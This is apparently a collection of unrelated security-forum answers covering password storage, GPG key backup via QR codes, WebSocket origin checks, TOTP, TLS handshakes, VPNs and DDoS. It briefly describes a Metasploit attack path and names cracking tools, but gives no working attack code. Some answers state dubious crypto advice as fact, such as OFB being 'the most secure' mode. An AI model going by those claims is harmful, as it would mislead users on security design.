It's kind of like this… I am divorced and have a vitriolic ex wife. I also have three great boys, who like most boys can be forgetful, lose things, and who also love their mom. When my boys got old enough to need a key to my house, I had a decision to make: do I use a keyed lock or one of those numeric key pads? If I use the keyed lock, it was certain that my sons would regularly be losing keys; I would be getting calls to come home from work to let them in; and there was a big possibility I would have to replace the lock or have it re-keyed from time-to-time because the number of "lost keys" (or probability my vitriolic ex wife now possessed one) reached an uncomfortable limit.

While not maybe the safest in the world, with the numeric lock I had no concerns about the keys being lost; I could text my sons the combo from work (without coming home) when they forgot it; and I could periodically change it when I felt it was compromised. I could also decide how long and/or complex I wanted it. If I thought my ex had it, I could change it as well. A lot simpler and less total cost of ownership.

The keyed lock is like PK. The numeric lock is like passwords. In the end, I can tell you, I am a lot safer with the numeric lock, because I choose my own destiny and can do so as dynamically as I want. And remember, the reality is that the door is just one of the ways into my house.


Where do you store your personal private GPG key?

I like to store mine on paper.

Using a JavaScript (read: offline) QR code generator, I create an image of my private key in ASCII armoured form, then print this off. Note alongside it the key ID and store it in a physically secure location.

Here's some that should work for you no matter what operating system you use, as long as you have a browser that supports JavaScript.

For Windows users:

Click here to download the JavaScript QR code generator: https://github.com/davidshimjs/qrcodejs/archive/04f46c6a0708418cb7b96fc563eacae0fbf77674.zip

Extract the files somewhere, then proceed edit index.html per the instructions below.

For MacOS or Unix users:

$ # This specific version is to avoid the risk that if someone hijacks `davidshimjs`'s
$ # repository (or he goes rogue), you will still be using the version that I vetted.
$ # For the truly paranoid you don't trust GitHub either, and you will want to verify the code you download yourself.
$ wget https://github.com/davidshimjs/qrcodejs/archive/04f46c6a0708418cb7b96fc563eacae0fbf77674.zip
$ unzip qrcodejs-04f46c6a0708418cb7b96fc563eacae0fbf77674.zip
$ cd qrcodejs-04f46c6a0708418cb7b96fc563eacae0fbf77674/
$ # We need to edit index.html so that it supports pasting your PGP key
$ # Open the file in a text editor like Notepad, vi, or nano
$ vi index.html

Change line 11 from:

<input id="text" type="text" value="http://jindo.dev.naver.com/collie" style="width:80%" />

to:

<textarea id="text" type="text" value="http://jindo.dev.naver.com/collie" style="width:80%" /></textarea>

Now navigate to the directory you get here with Explorer, Finder, or Nautilus, etc.

For example:

$ pwd
/Users/george/Documents/Code/qrcodejs/qrcodejs-04f46c6a0708418cb7b96fc563eacae0fbf77674
$ open .

Now, double click on the index.html file you just edited and saved.

You will most likely need to break up your PGP key into quarters or even smaller to create nice big QR codes that you can easily scan later. After pasting in the text area, click away from the text box and your QR code should appear. Save each one as you go and name them appropriately so that you know their order!

After you've created all the codes, scan them with, for example, a mobile phone QR code scanner app. For the paranoid, keep this device offline once you've installed a barcode reader and then perform a full wipe and factory reset of the device before putting it back online. This will prevent the QR scanner app from leaking your PGP key.

If you have a large key or lots of keys I recommend paperbak, although be sure to write down instructions on how to recover the data later. Just as important as how you back it up is how you restore it from a backup. I'd probably try this with dummy data just to be sure you know exactly how it works.

Worth noting you can protect your private key with a passphrase, so even if it's hosted with a cloud provider they can't see your private key, but then all your password security is reduced to that passphrase rather than the full private key, not to mention cloud providers can disappear overnight.


Does applying updates fix router vulnerabilities?

In case of DIR-600 yes ... but that is not always right!
In you case dir-600 was checked and re-checked because is an outdated router that was commonly available for everyone.

It really depend on the product and I strongly recomand to check the official CVE page of the device to see if the last firmware version has any cve.


How (and where) to report a web site distribute a program with a virus?

After reporting the website in question to the relevant host (discovered by running a WHOIS as suggested by forest in their comment), you can also report the website to Google using their Report malicious software form. In the case of a phishing site the Report Phishing Page form should be used.

If your report is reviewed and accepted, the page will be excluded from Google's search results, and anyone using Google Chrome will get a warning page from Google's Safe Browsing and will be deterred from continuing. I believe that Chrome may also prevent the user from opening the executable downloaded from the website if the user ignores the big red warning page.


Is the Origin header really useful for securing a WebSocket?

Checking the Origin header prevents a WebSocket from being used by another website that the user is also visiting (e.g. to extract data).

As per the link:

  WebSockets are not restrained by the same-origin policy

This is because the protocol upgrade request will have access to the user's cookies, so if you're not checking the origin the request could have been made from example.com and not your site example.net.

e.g. if you have a WebSocket service that returns some private data, you do not want a malicious site that the user has open from reading data from yours because the user is logged in.

It has nothing to do with stopping another website from leeching content from your website - if they wanted to do this they would simply set up a connection to your socket web service from their back-end, where they can set whatever Origin header they want. Checking the Origin header will stop this for authenticated content because they cannot get their back-end to supply the user's authentication cookie to your web service.

They could of course register a user and then send in the authentication cookie for that using their back-end HTTP client. However, the only data they would be accessing is their own, not the end-user's. You may want to detect if certain usernames or remote IPs are pulling lots of your public content down in order to prevent use of functionality in your service that may not be user specific.


What is the risk of allowing display of arbitrary HTML files?

HTML files can contain Javascript which browsers will run with permission to the domain it's displayed on. If github allowed arbitrary HTML uploaded by users to show on the github.com domain, then for example an attacker could create a repository that when viewed caused your browser to copy the readme into all of your own repositories (by making AJAX requests against github.com), which would then continue to spread across the site. (The code could also have other functionality, like making all of your private repositories public, changing your profile info, etc.)


The piece you're missing is that with these services (at least in my experience) you are required to create a login credential to access the secure service mail box the first time you use that particular service for that particular sender.   Further, the sender (who contracted with the service) can set time limits for the items so that they become unavailable to anyone (including the intended recipient) after a specified period of time.

When you access emails via these services, your access is through TLS.   (So is the sender's access if their "side" is configured correctly).

Compared to normal email the sender's information is more secure.

Its not bouncing around "in the clear" over all sorts of potentially malicious email relays.
It is (presumably) encrypted in place in the "service provider" system.
The recipient has to utilize a log in credential to retrieve the message and then does so only over TLS encrypted transport.
The messages can be made to expire.
The service provider logs IP address and other details of each "access" of the information within the secure service portal.

My experience is that these services are inconvenient and take away some of the quick back and forth that makes email worthwhile.   But there can be no doubt that they are more secure than vanilla email.


How to detect when your RAM is being copied or scanned by a hypervisor

No, it is not possible.

The hypervisor controls everything your VM does. The isolation between your VM and other people's VMs relies on the hypervisor. If the hypervisor maps the memory of your VM for its own use, or if it allows other VMs to map it, your VM won't know about it, because of the same isolation mechanisms that don't allow other VMs to access your VM's resources if the hypervisor is operating as desired.

The RAM being copied may actually be part of the normal operation of the hypervisor, to migrate the VM to different physical hardware (e.g. for load balancing or to substitute out failing or obsolescent hardware).

Note that the situation isn't any better if your service is hosted on a physical machine. What you believe to be a physical machine could be a virtual machine, or a physical machine running malicious firmware. If you run code to manipulate confidential data on somebody else's machine, you have to trust them no matter what type of machine it is.


Does the salt need to be unique or not predictable?

I posted an answer that explains this on another question, which should give give you a good background to all the major security concerns around password storage.

To answer your question more directly - a salt:

must be unique.
should be unpredictable.
should be unknown to potential attackers.

The problem with schemes like H(pass + username) is that the attacker knows the salt. So, whilst his ability to crack every password in the database with a single rainbow table is gone, he can create a rainbow table for key user accounts. This allows him to compute the rainbow table for a privileged user account (e.g. admin) ahead-of-time, then immediately use it once he breaches the database.

This is a problem, because it gives you no time to react to the breach. Seconds after you get alerted about the attack, the attacker has logged into your admin account. If the attacker is forced to crack the password after the breach, it gives you time to lock down privileged accounts and change passwords.

You could also look into a salt + pepper scheme, where the pepper is a second salt stored outside the database, e.g. in code. This helps prevent against the SQL injection model of attack, where the bad guy only has access to the database.

Best practice is something like this (feel free to omit the pepper):

hash = KDF(pass + pepper, salt, workFactor)

Where:

KDF is a strong, slow key-derivation function, such as bcrypt of PBKDF2.
pass is a strong password (enforce password policies!)
pepper is a long random constant value stored in your code.
salt is a long random unique value stored with the password in the database.
workFactor is appropriate for your hardware and security requirements.


What are the implications of activating "obtain DNS server address automatically"?

Well, I can imagine legitimate reasons why a network administrator would want to block access to Google's DNS. After all, you're basically telling Google about every host you're connecting to. To Google, that's very valuable information since without it, they'll be tracking you on the WWW only. By using their DNS as well, you're giving them everything there is to know about your movements on the internet.

On the other hand, a locally administered DNS can in principle do lots of other sinister things, for example redirect you (visibly or invisibly).

In the end, you simply have to think about who operates the network, what their interests may be and how you can trust them. Or just ask.


What access does my company have to my corporate gmail account?

This is the business version of gmail.

As mentioned in this question, there's no direct way for a GSuite admin to log in to one of their users' accounts, but they can make use of the auditing API to download emails.

The easiest way to know if your IT admins can do something is to ask them. And you should generally assume that they have full access to anything you do on work accounts, on work computers, and on work networks - so don't do anything there that you wouldn't want them to potentially know.


First up, consider the audience. Obviously the breach of a bank account is going to be more disastrous than stack overflow. It needs to be tailored to the level of data you're processing.

Second up - I'm assuming because you say never expires, you mean the cookie never expires. This by itself isn't a good indicator. Session IDs and such can be regenerated periodically. Actual Session expiry by itself shouldn't be relied upon. PHP for example has a ridiculously complex system of invalidating sessions - More details can be found here: https://solutionfactor.net/blog/2014/02/08/implementing-session-timeout-with-php/

When considering inconvenience, you have to consider security impact in real terms. I hate my bank, it's forever timing out before i'm done.... but due to the content, that's a consideration that needs to be made. If stackoverflow had my session time out half way through a reply i'd never use it again! (yes, i did only register tonight) But stack overflow doesn't store the personal data necessary to have a 15 minute timeout.

Apps are similar. You sign into twitter/facebook and you're signed in (pretty much) for good. They rely on the security of the device itself to "authenticate" you, as well as the fact that it's a device that will never go too far from you. Banks again require constant verification that you are who you say you are.


Any advice on how to assure patients that a medical facility is well protected against identity theft?

As Schroeder has mentioned there are a few security standards and frameworks which can be used. One thing you absolutely are REQUIRED to comply with by LAW  in the U.S. (I see you live in New York) is HIPAA.

Aside from that the ISO 27001 can provide you with a certification that you have a controlled security organization. There are different bodies that can provide this certifications, such as EY CertifyPoint or BSI.


Causing Denial of Service by "Session Spaming"

If you are using a good system for generating session IDs this would not be a problem. To prevent an attacker from guessing session IDs by brute forcing you need to have a very large space, so that there are in practice to many possible IDs to perform this attack.

An attacker who is able to fill up the whole space of available session IDs would be able to impersonate any logged in user by brute forcing their session ID, something much worse than DoS. So to protect against that much bigger risk sane systems already use session IDs with enough entropy to make this practically impossible.

For instance, even if the session ID has just 32 bits of entropy and a session last for a full day you would still need to initiate 100 billion new sessions per second to use them all up. That would be enough to DoS the server from just the traffic anyway, so the limited number of possible sessions IDs would not be the bottle neck.

Another example are PHP session IDs. By default they are generating by MD5 hashing a number of things, including the current time. So unless you hit a hash collision by accident (extremely unlikely) there will be no duplicates.

In addition to this, I would assume that most services has some kind of cap on the number of open sessions for one user or one IP.

Since this is not a practical attack I don't think it has a name, but it would be a form of denail of service. I think you christened it with a good name in your title.


Yes.  After you connect to the hotspot, you need to open your browser and sign-in using your Xfinity username and password.  See https://www.xfinity.com/support/articles/about-xfinity-wifi-internet.


sbd uses "default phrase to use for encryption"

It uses the default passphrase "roses are red, violets are blue." which can be overridden at compile time by defining SHARED_SECRET or at runtime using the command line switch you mention in the question.

#ifndef SHARED_SECRET
    #define SHARED_SECRET "roses are red, violets are blue."
#endif

from sbd.c line 136-138


How to understand QEBEK (Honeypot Monitoring Tool)?

Not to nitpick, but it sounds as though you're interested in honeypots/honeynets in general. There are several honeypot solutions available. The aforementioned are open source and easily accessible, documented and will aid you in your projects. Also, the honeynet project brought you Quebek but has several honeypots that are based off of bochs/qemu.


Which one will give me the best VPN security when choosing Encryption algorithm in pfsense?

AES-256 is the most secure publicly known algorithm. It is however probable, that there exist more secure algorithms in the military use.
From the above list, OFB will be the most secure and also the least CPU intensive.

Here you have some explanation about these modes:

http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation


Does using Tails make one a target? Is it possible to identify users of security-focused operating systems like Tails?

The answer from this thread may help answer your question.

https://tor.stackexchange.com/questions/1355/using-tails-is-one-identified-as-tails-user-or-as-general-tor-user

There is two different levels on which you can be identified as a Tor or Tails user.

The website server you visit knows if you are using Tor or Tails

Tails users can be identified as such by its browser fingerprint. For example, Tails comes with AdBlock Plus, and Tor Browser Bundle (TBB) doesn't. The configuration in the browser also differs somewhat in other regards.

Since most TBB users download ads, but most Tails users doesn't, that allows to guess whether you are a TBB user or Tails users. The exact list of ads Tails blocks is also fixed for a certain Tails release, so a TBB user that have installed AdBlock Plus will probably not have the same list, which makes the guessing even easier.

Tails does try to keep its fingerprint as close as possible to the Tor Browsers however, which of course makes it somewhat hard to fingerprint. It will probably keep improving further in the future, for example: Tails have discusses whether or not to remove AdBlock Plus in a future Tails release.

See section "3.11 Fingerprint" in Tails design document.

https://tails.boum.org/contribute/design/#index4h1
Your ISP or network admin knows if you are using Tor or Tails

Tails does only send Tor traffic, whereas another operating system with TBB on will also sends non-Tor traffic (e.g. syncing clocks, checking for system updates, etc). If your computer only sends Tor traffic, it is probably Tails


Securing folder being accessed by batch file

AFAIK, you cannot with a batch file on any Unix-like system, because when you launch a batch file, you execute the shell program (/bin/sh for example) that reads the file. AFAIK, it will be the same on Window: a batch without the read permission will not be executable by the user.

If it becomes an executable file on Unix, you can make use of the set user id mode. It a a disputable feature that allows a process to gain the authorizations of the owner of the program, instead of the ones of the user starting it, during the time of execution. That was heavily used for local games in the 70's: only the game program could read/set the scores. Here that means that the directory will be accessible to only one user (the owner of the program) and the other users will only be able to start the program.

Although very powerful, this mode has corner cases and several security implications and is now seldom used (if any) is serious application. Anyway, nothing like that exists under Windows.

The now recommended way is to have a daemon (Unix) or service (Windows) started at boot time and running under the user id of the owner of the folder, the folder being accessible only to that user. And you have front programs that communicate with the daemon/service through an interprocess communication tools such as named pipes, message queues, sockets etc.

That is slightly more complex as it involves two processes and one communication channel, but is far more secure since it cleanly separates the user interface from the processing program. But you also gain the possibility to have the user interface on remote machines and the folder with data on one single secured machine, by simply switching to a network communication channel...


What's there to harden for a home Unix-box behind Comcast cable modem?

There is one major category of home hardening that you missed, at least in part. 'Vectors downloaded by the user' is a huge category. It is the most used attack vector today.

A lot of attacks don't require any user interaction to run.  See drive-by downloads for an example.

While you are correct that safe browsing habits are a good way to address this catrgory it simply is not enough. Perfectly normal sites are used to spread malware all the time. I have seen Facebook and yellowpages.com both spread malware.

Hardening (in the form of patches, service isolation, even wiping out changes to the system at reboot) is definitely applicable in a home setting. While you can't eliminate the threat 100 percent, you can reduce it greatly.

Edit: What I am trying to get across is this.

A good policy on safe browing habbits is a great place to start.
A good browsing policy is still ineffective with today's threat landscape.
Antivirus / antimalware isn't enough.
Updating software isn't enough.
Even with all of the above it still may not be enough.


WPF Hide ConnectionString in MyApplication.exe.config file (or hide the whole file)

As described in your comment you habe two databases for your application.

They have the following purpose:

authenticating the user
user specific database with data or so for your application

For authentication you should not give the user access to the database where all users are stored. There are multiple solutions.

1. Solution

If you first database only stores the information about user authentication you could use the authentication provided by the database(server) and give the user only access to the database on the server with there data

2. Solution

The databases are on different servers and you use the first database only for some kind of protection of your app usage. You could make a simple Rest Service where the user login is sent (over https) and the result tells your app if the user is allowed to access your app or not (this can be bypassed also like your database solution since the app runs on the users maschine)

Dangers of your solution

You can't really hide the connection details from the user since they could start man-in-the-middle attacks and capture your credentials. Or just search for the string in the application code (you can finde strings in exe files).


Best practice for identity management methods with regards to confirming user existence

I've been thinking that the better practice would be not to confirm nor deny whether the email address exists. For this reason I want to show the success message: "Instructions on how to proceed was sent to the email address provided" even when the user provided does not exist.

Yes, this is the proper way to do it. A better message would be "If this email address exists, instructions on how to proceed was sent to the email address provided". It is more user-friendly without giving to an intruder the information whether the account exists.

Should this email then be the usual activation email, or one that states: "Your account is already activated. Please open the site and log in."

The latter.

If I show a generic "Invalid registration attempt" message when registering with an existing account, my service desk could be flooded with calls from angry users.

In this case, you should show onscreen a message "Information has been sent to the email address provided. Please follow instructions." and email to the user "Someone (perhaps you) has tried to register with this email account, but an account bound to this email address already exists."

Also, when a user logs in 5 times incorrectly, I'm to lock out his account.

This is trickier as could be used for a DoS (although, since the attacker doesn't know whether the account exists or not, he can only try email addresses at random).  You need to have a second authentication method (e.g. a mobile phone number or a second email address) where you can notify the user "Your account has been locked due to 5 authentication attempts failed" and allow him to reauthenticate in some other way, perhaps with a nonce.
EDIT: This should also be used for password reset.

A softer way to mitigate incorrect logins would be to deny access for 24 hours, instead of locking out the account.


Is this a secure Digital Signature + Encryption method?

The order is important. Encrypt the message to the receiver then sign the message. Receiver can verify signature and then decrypt.

The other way (sign then encrypt) means that Bob (receiver) can send someone else Alice's (sender) the signed message without her knowledge or agreement as if it came from someone else (decrypts with his key, re encrypts with 3rd key).

By doing encrypt and sign, it's clear that Alice meant the message for Bob.

The idea is that no one else can sign the encrypted message and no one else can decrypt the signed message.

Also, if Bob needs to show what Alice signed (the message is a contract), the encryption algorithm should be symmetric like AES and Bob reveals the key. It's the symmetric key that Alice encrypts with Bob's public key. So, there are two encryptions: symmetric, asymmetric and a signature.


Does using Google DNS make extensions like AdBlock Plus useless?

No. Of course not.

The privacy-specific purpose of adblock, ghostery, etc., is to prevent your identity on one site from being easily associated with your identity on another site, by the use of cookies, page widgets, referrer identification, etc. Whether or not this protects your actual real-world privacy in any meaningful way is seriously suspect, especially given the fact that people are more than willing to do things like log in to Spotify using their Facebook account, completely undermining the whole point of these plugins.

The privacy-specific threat of DNS is a bit more general an nonspecific: A person at IP address X visited both Facebook and Spotify early Friday evening. It doesn't really tell you a whole heap unless you actually have Facebook's and Spotify's logs to try to do some correlation. And of course if you have that, then the DNS information is redundant and completely unnecessary.

But more importantly, the real threat here is your ISP, not Google. Your ISP traditionally runs your DNS servers, and can view, intercept, and modify your DNS queries and responses no matter whom you send them to. But your ISP also is in a position to log all of your traffic patterns; what sites you visit and when, how much data you transfer from each, and if you're not encrypting everything, then the full contents of .. everything.

And in real-world cases that actually mattered, Google has consistently taken the site of protecting the privacy of its users, while many ISPs have consistently betrayed the trust of their users.

In other words, you're taking extraordinary action to protect yourself from Google even though Google is typically trustworthy, while you're not taking any action to protect yourself from your ISP, even though your ISP is typically not trustworthy.


As I understand it (I am not a lawyer and I am not a compliance officer so take what I say with a grain of salt), there are interpretations of SOX compliance that require that a company have mechanisms in place to ensure that all machines are up-to-date with patches.  So it wouldn't surprise me in the least if they are audited.


Is it safe to store 2FA tokens together with passwords in 1password?

I work for 1Password, and I wrote exactly about this question when we introduced the feature.

The answer depends on what security properties you actually want from time-based one time passwords (TOTP). The "second factorness" of TOTP one of several security properties it offers, and it may be the least important in many cases. Don't get led astray that this all goes under the term "2FA", as if that is the only security benefit you get from these schemes.

Security benefits of TOTP (contrasted with typical password use)

So I am going to list a few of the security properties you get with TOTP and contrast them with typical password use.

Long term secret isn't transmitted during authentication. With TOTP get a long term secret that is only transmitted (typically the QR code), when you enroll. The long term secret is not transmitted when it is actually used. (This is unlike typical password usage where the password is transmitted over the net, and so depends on other protections, such as TLS). This also means that the long term secret can't be phished (although the numeric codes can be.)
Long term secret is unguessable. The long term secret is generated by the server when you first enroll, and so it is generated up to the service's standards of randomness. Again, this is unlike typical password use with human created passwords.
Long term secret is unique. You will not end up reusing the same TOTP long term secret across various services. Again, this is unlike typical password use, where people reuse passwords.
Oh yeah. And you put the long term secret on "something you have", if for some reason that is important to you.

In most cases where TOTP is deployed, it is done so because of properties #2 (unguessability) and #3 (uniqueness). Indeed, when Dropbox first introduced TOTP on their services, they spelled out their reasons as helping protect users who were reusing passwords.

After the uniqueness and unguessability of the long term secrets, the next most important benefit (for most people) is that the long term secret isn't transmitted. This makes it harder to capture on a compromised network.

Probably the least important of the security properties that TOTP gives us is the second factorness. I'm not saying that there is no benefit to it, but for the cases that most people are using TOTP, it is probably the least important.

Contrasting with using a password manager well.

In the above I listed four security properties of TOTP and contrasted them with typical password use. But now let's consider someone who is using a password manager to its full potential. If you are using a password manager well for some site or service4, you will have randomly generated (and so unguessable) password for that site and you will have unique password for that site. And so the use of TOTP doesn't really add a great deal in terms of those two security properties.

If we look at property #1 (long term secret not transmitted), TOTP still offer some additional security, even if you are using a password manager. However, using a password manager does reduce the chance of getting phished, and so the gain of TOTP, while real, is not as great as it would be for someone not using a password manager.

The only thing left is #4. If the two factorness really is why you value TOTP, then don't keep the long term secret in 1Password. But for most people, the value of TOTP comes from having a strong and unique long term secret that is never transmitted.

Look at the actual security properties

I recommend that you evaluate what you really get out of TOTP (instead of getting caught up in the whole 2FA rhetoric), and then consider the tradeoffs. I'll bet that if things like TOTP where called "Unique Secret Authentication" instead of "Two Factor Authentication" the question would never have come up.


Server certificate authenticity validation process

Simply put, the CA creates a signature with their private key. The public key, among other information, is distributed as certificate together with your operating system.

Should the public key of the CA (so the certificate you already have on your machine) not correspond to the private key used to sign a certificate, the signature would be invalid.


Does the SSL record protocol encrypt the handshake protocol too?

From RFC 8446, Section 5 (TLS 1.3, Record Protocol):

  The TLS record protocol takes messages to be transmitted, fragments
  the data into manageable blocks, protects the records, and transmits
  the result.  Received data is verified, decrypted, reassembled, and
  then delivered to higher-level clients.

The cipher for encrypting fragments at the Record layer can change over time. Initially a null cipher will be in use since no keys have been established. This effectively means that no encryption is applied, the "ciphertext" is the same as the original fragment.

The Handshake Protocol (carried over the Record Layer) initially starts using this null cipher. After the client and server share security parameters (using Client Hello and Server Hello handshake messages), they can start performing a key exchange to establish a shared secret. Following this, they will be able to switch the Record Layer to a more secure cipher based on the shared secret. In TLS 1.2 and earlier, this switch is initiated using the Change Cipher Spec message.

SSL/TLS has a bit of a history, and there are two types of key exchanges based on asymmetric cryptography. One is based on RSA encryption, another is based on Diffie-Hellman (DH). In TLS 1.3, only the DH key exchange mechanism remains.

With the RSA key exchange, the client generates a random premaster secret, encrypts it using the RSA public key from the certificate provided by the server, and sends the result to the server. The server will be able to decrypt the result using the corresponding private RSA key and therefore obtains the same premaster secret.

In case of a Diffie-Hellman key exchange, both parties generate a new key pair (a private key and a corresponding public key) and share the public key with each other. By combining their own private key and the peer's public key in a special way, they will obtain the same shared secret.

In either case, a shared secret is obtained which is transformed into a symmetric key. This key will be used for encrypting fragments at the Record Layer.

For a more extended treatment of TLS, see How does SSL/TLS work?


First and foremost, have you contacted tech support? If there's a forensics investigation to perform you should not meddle with your server but flag it and let them do their digging.

Secondly, assuming tech support doesn't want to or cannot help, the fact that you got the notification on day X does not imply that the mount happened on the previous day. From what you're writing the notification is informing you about your local disk usage, and the output shows a remote mount. Is the notification triggered for all mounts or only local mounts?

Thirdly, please look in the logs and see if you can find anything suspicious including mount failures, logins from root or other accounts in the two months you know you haven't touched the server. You might want to take a look at the content of the remote mount and find the earliest created file from your user (looks like a NFS mount so I assume there's user parity between yours and the remote system).


Virustotal detecting threats in Suricata rule set

Taking into account that the rule sets are plain files that contains rules for snort/suricata I would consider has a false positive, I just download the .tar.gz and there is nothing suspicious there, just the regular files from the set, on the other hand, it could be a fake set and not the official one, better to ask on the mailing list and see the responses if you have doubts about it

[camp0@localhost Downloads]$ sha256sum emerging.rules.tar.gz
c20b744a3ca4d8fef3fa23633db7e94edd064d5ea149be0a4ce063a85046b76f   emerging.rules.tar.gz

Download the same file as virustotal report but nothing interesting inside.


From what could perceive, your problem is not Active Directory-specific. You would still have this issue if it were SQL-based or any other kind of authentication backend. What we have to solve is: how do we keep awareness about the logged-in user account status without remembering the account credentials or asking for re-authenticating AND not forsaking security?

The answer is simple: We can't. The only way to make sure the user is still valid is re-checking back at the auth service.

Your only option should be longer timeouts (I think that we do not need to get on the topic of why we should not keep the user's credential, do we?), but that is exactly why you are facing this status-consistency problem.

That is the reason we have a proper vulnerability category for that kind of problem. You simply should NOT enable long session-timeout periods or (in some people's opinion) long-lived sessions.

You may try something about that SSO mentioned by @Abu. But that opens up to another problem about the way Windows authenticates because NTLM is broken and so do default Kerberos configuration, as explained the previous link. Of course, it is possible to configure Kerberos properly so that it does not use the affected crypto, but that also comes with the need for a tight infrastructure management plan (and i'm not even sure that it would invalidate the session at the moment the account gets deleted, blocked, etc.).

Security always come at the expense of usability. Talk with your manager, explain the situation to him and do whatever he chooses to. One way or the other, he will be aware of the pros and cons of his decision, be it lesser security (some hacked or wiped-out servers?) or some emails complaining about reauthenticating (depending on the chosen timeout).

From where i look at the matter, the impact of lesser security in this case far supersedes the impact of the second option.

But only you may tell where it hurts the most.


The key in a TLS certificate is for a public-key cryptosystem. This is because the same key is sent to every client, and sending out a secret key to anyone who asks is not considered a viable security strategy by most experts.

The reason the certificate is signed with a public-key algorithm is that there's otherwise nothing stopping an attacker from pretending to be the real site, and giving you their public key. So, you want to make sure the public key is the correct one, which you do by verifying that it's been approved by someone you trust. This is the exact use-case for digital signatures, so they're used to verify the certificate.

The public key in an X.509 certificate is normally a public key for a signature algorithm, to sign data and (if the certificate is a CA certificate) to sign other certificates. In TLS, it can also be an encryption/key-exchange algorithm public key; the most common is an RSA public key, which can be used for both. In RSA-based cipher suites, this is used for key exchange. In DHE/ECDHE cipher suites, it's used in key exchange by verifying a temporary Diffie-Hellman key signed with the associated private key. Regardless, the end effect is the same: the public key in the server cert is for key exchange, and in CA certs is for certificate signing.


Why use Keepass, etc. if all your passwords are in one place?

In my opinion, there's a long answer to this question, and there's a short one. The short one goes something like this:

Most of the exposures (of usernames and passwords) we see are not targeted attacks against an individual, but they can result in an individual's credentials being exposed. A password manager helps to limit the impact on a single user by allowing them to use different passwords across all websites they access, while minimising the risk that they will forget them.

From my experience, people who oppose the use of a password manager are afraid of a targeted attack against themselves, rather than the opportunistic attacks I described - but they are correct: if someone gets access to their password repository, it's game over.

Now, there's a "right" and a "wrong" way to use password managers. Here are some tips:

Make sure you do your research before choosing which password manager you want to use: you want to ensure that you know where your data is being stored and how it is being encrypted. You also want to make sure you're using a reputable product.
Make sure your master password is sufficently complex. Whether you choose to use a secure passphrase or a complex password, you want to make sure it is strong enough to protect your database. If somebody guesses your password (or manages to crack it), all of your passwords are exposed.
Never access your password database from a public computer. And, if you have to, change your master password (from a private computer) afterwards. Public computers may have keyloggers, and all kinds of other fun things which may expose your master password. Even worse, if your database is an offline database (e.g. KeePass) you're not actually deleting it from the disk when you send it to the recycle bin.
Make sure that your private computer has adequate anti-virus/malware protection. Same logic as number three: you don't want to give people access to your master password under any circumstances.
Use multi-step authentication whenever possible. Most popular email providers offer this now, and it's a great way to minimise the likelihood of your account being accessed, even if someone does discover your 128 character password.

Lastly, my personal preference is to avoid any "public" online password managers (e.g. LastPass). I don't mind password databases being online (e.g. putting your KeePass database in Dropbox - not that I do this), because this would take a targeted attack for somebody to find your passwords. But, I'm sure attackers would love to get their hands on the database of one of these service providers - for no other reason than to say that they did. From there, is just a matter of an opportunistic individual getting lucky, and all your passwords become theirs.


Which is faster - brute-forcing, or using a dictionary attack that contains all possible permutations?

There is no difference ... until you get into the implementations.

Efficient cracking platforms like hashcat and John the Ripper execute bruteforce directly on GPU/CPU using optimizations that make them far faster than equivalent candidate passwords could be fed into the cracking process from an external dictionary.

True bruteforce and related attacks (like mask-based and rules-based attacks) should always be faster than a pure dictionary attack.

Update: My answer applies for fast hashes. Pascal is right in his answer that if the hash is slow enough, it would be the same.


How safe can connecting to VPN really be?

Connecting to VPN and using the Internet in the scenario you described is actually very secure. In the case you're talking about (mutual authentication), it is safe to say that ISPs aren't able to intercept and eavesdrop on the connection to know what the user is doing.

However, in the example you made about war situations, government agencies don't just rely on ISPs intercepting connections. An example with which I'm quite familiar is the Syrian civil war. Regime agencies, supported by Russian and Chinese tech and advisers, have actively tried much more invasive methods.

Kaspersky has published a report detailing those invasive methods. They include malware disguised to look as if it contains important information to press or opposition (wanted activists names, lists of imprisoned members of the press, etc.), web pages serving malicious code, documents containing exploits, and a number of other methods. They mostly rely on social engineering.

To put in one line: Yes, that VPN scenario sounds pretty secure. However, in a broader context, only taking care of VPN will not guarantee you the security you're looking for.


Searching for files on unknown/proprietary filesystem

Data carving (with something such as Foremost) works outside the file system, looking just at the data storage directly, so in some ways it is not affected by the file system. But of course it does somewhat depend on how the file system stores the data. Most common file systems commonly store data in contiguous areas and that is why file carving works and can recover whole files. It is possible for some unknown file system to scatter small data chunks all around I suppose, making it much more difficult to detect files and really really difficult to put together whole files. It's also possible for the data to be encrypted or encoded somehow by it.

Photorec works well recovering files from raw data (disregarding any file system) for many different file types based on identifiers for each file type supported). It's free and open source. There are also other good non-open source tools for that such as R-studio and ReclaiMe.

What file types are you going for? Some are easier to carve than others. Some you may even have to carve completely manually. As I said it's also possible the data is encrypted or encoded somehow if you're not finding anything with common file types. Have you looked at some of it in a hex editor? Winhex is a good one for Windows. That might be a good next step to get an idea of what is there. Otherwise you might be spinning your wheels.


Why do DDoS attacks cost a fortune to stop?

It's because if you shut a server down, you can't use it for revenue. Imagine having a real shop: if you close it during the day, you can't sell anything and offer your services. It's as simple as that.

To improve my answer, it costs a lot to fight because it's pretty much impossible to defend yourself against such attacks, since the attacker can use a very large number of machines to attack you. If you can defend yourself from an attack by 1000 computers, the attacker only needs to add one more to win. And since there is no limit to the number of machines the attacker can use, you basically will never be invulnerable :)

So, in conclusion, shutting the server down means no revenue because you can't offer your services anymore, but at the same time, keeping it up is extremely expensive (but it's better than shutting it down).


By default, metasploit requests /cgi-bin/SMTPSend.dll

The idea is that the DLL is forced to be unloaded by the server then requested again by the attacker, resulting in a potential violation of the memory pointer because mod_isapi doesn't properly cleanup the pointers to an unloaded DLL.


A VPN over the internet is secure if it's set up properly, plus any connections to the HSM should be encrypted as well. The big concern I would have is that you are letting an external organization into your network. Third parties are out of your control, if they were hacked then an attacker could attempt to penetrate your organization through that connection. To mitigate this risk you'd want to put your HSMs in a separate DMZ and only allow traffic to those HSMs from that VPN. A penetration test of the HSMs would also be a good idea to make sure they are configured properly, you don't want them leaking information.


What attacks new Apache 2.0 vulnerable to?

The goal of a web server is to provide a platform for applications to be made available. The attacks are usually directed towards applications and not the web server itself.

There have been numerous cases where the server was vulnerable and the fix to that it to apply patches to keep it up-to-date.

The really interesting part is to understand how applications hosted by said sever are attacked. One of the best ways is to install (in an otherwise secure environment) vulnerable applications and try to break them. You can find a good implementation for several vulnerabilities in WebGoat, part of OWASP. OWASP itself is very much worth going through.

You can then look further on how to protect these applications with mod_security, a system which sits in front of your application and hopefully stops known attacks. This is called a WAF (Web Application Firewall).

The next step are honeypots, these are systems which are designed to respond to attacks (not block them) so that you can alanyze what activities have been done on a given service. You have honeypots for various services, not only HTTP(S) based ones.

